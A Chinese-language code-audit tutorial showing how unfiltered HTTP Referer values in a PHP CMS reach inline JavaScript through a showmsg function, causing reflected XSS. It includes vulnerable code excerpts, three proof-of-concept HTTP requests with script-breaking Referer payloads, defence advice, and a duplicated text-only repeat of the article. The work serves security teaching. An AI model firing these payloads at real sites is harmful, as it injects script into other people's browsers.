代码审计之cms从$_SERVER入手的xss 0day
字数 1249 2025-08-22 22:47:30

代码审计实战:从$_SERVER变量入手的XSS漏洞挖掘

前言

本文通过分析一个CMS系统的代码审计过程,详细讲解如何从$_SERVER变量入手发现XSS漏洞。本教程适合刚入门代码审计的安全研究人员学习,重点介绍审计思路和漏洞挖掘方法。

漏洞背景

在PHP开发中,$_SERVER是一个包含了诸如头信息(header)、路径(path)和脚本位置(script locations)等信息的超全局变量。其中$_SERVER['HTTP_REFERER']表示当前页面的来源地址,这个值可以通过HTTP请求头中的Referer字段控制。

审计过程

1. 参数过滤机制分析

首先分析系统的全局过滤机制:

// 在global.php中发现的过滤逻辑
function stopsqlin($str){
    remove_xss($str);
    if(!is_array($str)) {
        $str=strtolower($str);
        $sql_injdata = "";
        $sql_injdata= $sql_injdata."|".stopwords;
        $sql_injdata=cutfgx($sql_injdata,"|");
        $sql_inj = explode("|",$sql_injdata);
        for ($i=0; $i< count($sql_inj);$i++){
            if (@strpos($str,$sql_inj[$i])!==false) {
                showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");
            }
        }
    }
}

关键点:

  1. 系统对$_REQUEST进行了过滤
  2. 使用了remove_xss函数进行XSS防护
  3. 过滤机制通过checksqlin配置决定是否开启

2. 发现过滤绕过点

g/dl_liuyan_save.php文件中发现以下代码:

$dlsname = $_POST["name"];
$saver = $_POST["fbr"];
checkstr($dlsname, 'quanhanzi','联系人',$_SERVER['HTTP_REFERER']);
checkstr($tel, 'tel','电话号码',$_SERVER['HTTP_REFERER']);

// ...省略中间代码...

if ($isok){
    showmsg('成功提交',$_SERVER['HTTP_REFERER']);
}else{
    showmsg('失败提交',$_SERVER['HTTP_REFERER']);
}

关键发现:

  1. $_SERVER['HTTP_REFERER']直接传入showmsg函数
  2. 全局过滤只对$_SERVER进行了小写转换,没有进行XSS过滤

3. 分析showmsg函数

function showmsg($msg,$zc_url = 'back',$exit=''){
    $str="<!DOCTYPE html>";
    $str.="<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>";
    if($zc_url && $zc_url!='back' && $zc_url!='null'){
        $str.="<script>alert('$msg');parent.location=\"$zc_url\";</script>";
    }elseif($zc_url=='null'){
        $str.="<script>alert(\"$msg\")</script>";
    }else{
        $str.="<script>alert(\"$msg\");history.back();</script>";
    }
    echo $str;
}

漏洞点:

  1. $zc_url参数直接拼接到JavaScript代码中
  2. $zc_url$_SERVER['HTTP_REFERER']时,攻击者可控制该值

4. 漏洞复现POC

漏洞1:g/dl_liuyan_save.php XSS

构造HTTP请求:

POST /g/dl_liuyan_save.php HTTP/1.1
Host: target.com
Referer: ";alert(123);</script><script>"
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

漏洞2:ask/caina.php XSS

// ask/caina.php代码片段
require("../inc/conn.php");
$answerid = $_POST['answerid'];
$askid = $_POST['askid'];
checkid($answerid);
checkid($askid);
// ...省略中间代码...
showmsg('采纳成功',$_SERVER['HTTP_REFERER']);

POC:

POST /ask/caina.php HTTP/1.1
Host: target.com
Referer: ";alert(123);</script><script>"
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

漏洞3:g/list.php XSS

// g/list.php代码片段
if (isset($action)&& $action=='clearcookies'){
    setcookie("zzcmscpid","xxx",1);
    echo "<script>location.href='".$_SERVER['HTTP_REFERER']."'</script>";
}

POC:

POST /g/list.php HTTP/1.1
Host: target.com
Referer: ';alert(1);'
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

action=clearcookies

漏洞原理总结

  1. 输入源:攻击者通过控制HTTP Referer头控制$_SERVER['HTTP_REFERER']的值
  2. 过滤缺失:系统对$_SERVER变量只做了小写转换,没有进行XSS过滤
  3. 危险输出:未经过滤的输入直接拼接到JavaScript代码中输出
  4. 触发条件:任何使用$_SERVER['HTTP_REFERER']作为showmsg函数第二个参数的地方都可能存在漏洞

防御建议

  1. 对所有用户可控的输入进行过滤,包括$_SERVER变量
  2. 对输出到HTML/JavaScript中的内容进行适当的编码或转义
  3. 使用专门的XSS过滤函数处理所有输出
  4. 避免直接将用户输入拼接到JavaScript代码中
  5. 使用Content Security Policy (CSP)限制脚本执行

审计技巧

  1. 全局搜索:搜索$_SERVER['HTTP_REFERER']的使用点
  2. 函数追踪:追踪showmsg等输出函数的使用
  3. 过滤分析:分析系统全局过滤机制,找出过滤不完整的地方
  4. 参数传递:关注参数从输入到输出的完整传递路径
  5. 上下文分析:注意输出内容的上下文环境(HTML/JavaScript等)

通过这种方法,可以系统地发现类似的XSS漏洞。

代码审计实战:从$_ SERVER变量入手的XSS漏洞挖掘 前言 本文通过分析一个CMS系统的代码审计过程,详细讲解如何从 $_SERVER 变量入手发现XSS漏洞。本教程适合刚入门代码审计的安全研究人员学习,重点介绍审计思路和漏洞挖掘方法。 漏洞背景 在PHP开发中, $_SERVER 是一个包含了诸如头信息(header)、路径(path)和脚本位置(script locations)等信息的超全局变量。其中 $_SERVER['HTTP_REFERER'] 表示当前页面的来源地址,这个值可以通过HTTP请求头中的 Referer 字段控制。 审计过程 1. 参数过滤机制分析 首先分析系统的全局过滤机制: 关键点: 系统对 $_REQUEST 进行了过滤 使用了 remove_xss 函数进行XSS防护 过滤机制通过 checksqlin 配置决定是否开启 2. 发现过滤绕过点 在 g/dl_liuyan_save.php 文件中发现以下代码: 关键发现: $_SERVER['HTTP_REFERER'] 直接传入 showmsg 函数 全局过滤只对 $_SERVER 进行了小写转换,没有进行XSS过滤 3. 分析showmsg函数 漏洞点: $zc_url 参数直接拼接到JavaScript代码中 当 $zc_url 为 $_SERVER['HTTP_REFERER'] 时,攻击者可控制该值 4. 漏洞复现POC 漏洞1:g/dl_ liuyan_ save.php XSS 构造HTTP请求: 漏洞2:ask/caina.php XSS POC: 漏洞3:g/list.php XSS POC: 漏洞原理总结 输入源 :攻击者通过控制HTTP Referer头控制 $_SERVER['HTTP_REFERER'] 的值 过滤缺失 :系统对 $_SERVER 变量只做了小写转换,没有进行XSS过滤 危险输出 :未经过滤的输入直接拼接到JavaScript代码中输出 触发条件 :任何使用 $_SERVER['HTTP_REFERER'] 作为 showmsg 函数第二个参数的地方都可能存在漏洞 防御建议 对所有用户可控的输入进行过滤,包括 $_SERVER 变量 对输出到HTML/JavaScript中的内容进行适当的编码或转义 使用专门的XSS过滤函数处理所有输出 避免直接将用户输入拼接到JavaScript代码中 使用Content Security Policy (CSP)限制脚本执行 审计技巧 全局搜索 :搜索 $_SERVER['HTTP_REFERER'] 的使用点 函数追踪 :追踪 showmsg 等输出函数的使用 过滤分析 :分析系统全局过滤机制,找出过滤不完整的地方 参数传递 :关注参数从输入到输出的完整传递路径 上下文分析 :注意输出内容的上下文环境(HTML/JavaScript等) 通过这种方法,可以系统地发现类似的XSS漏洞。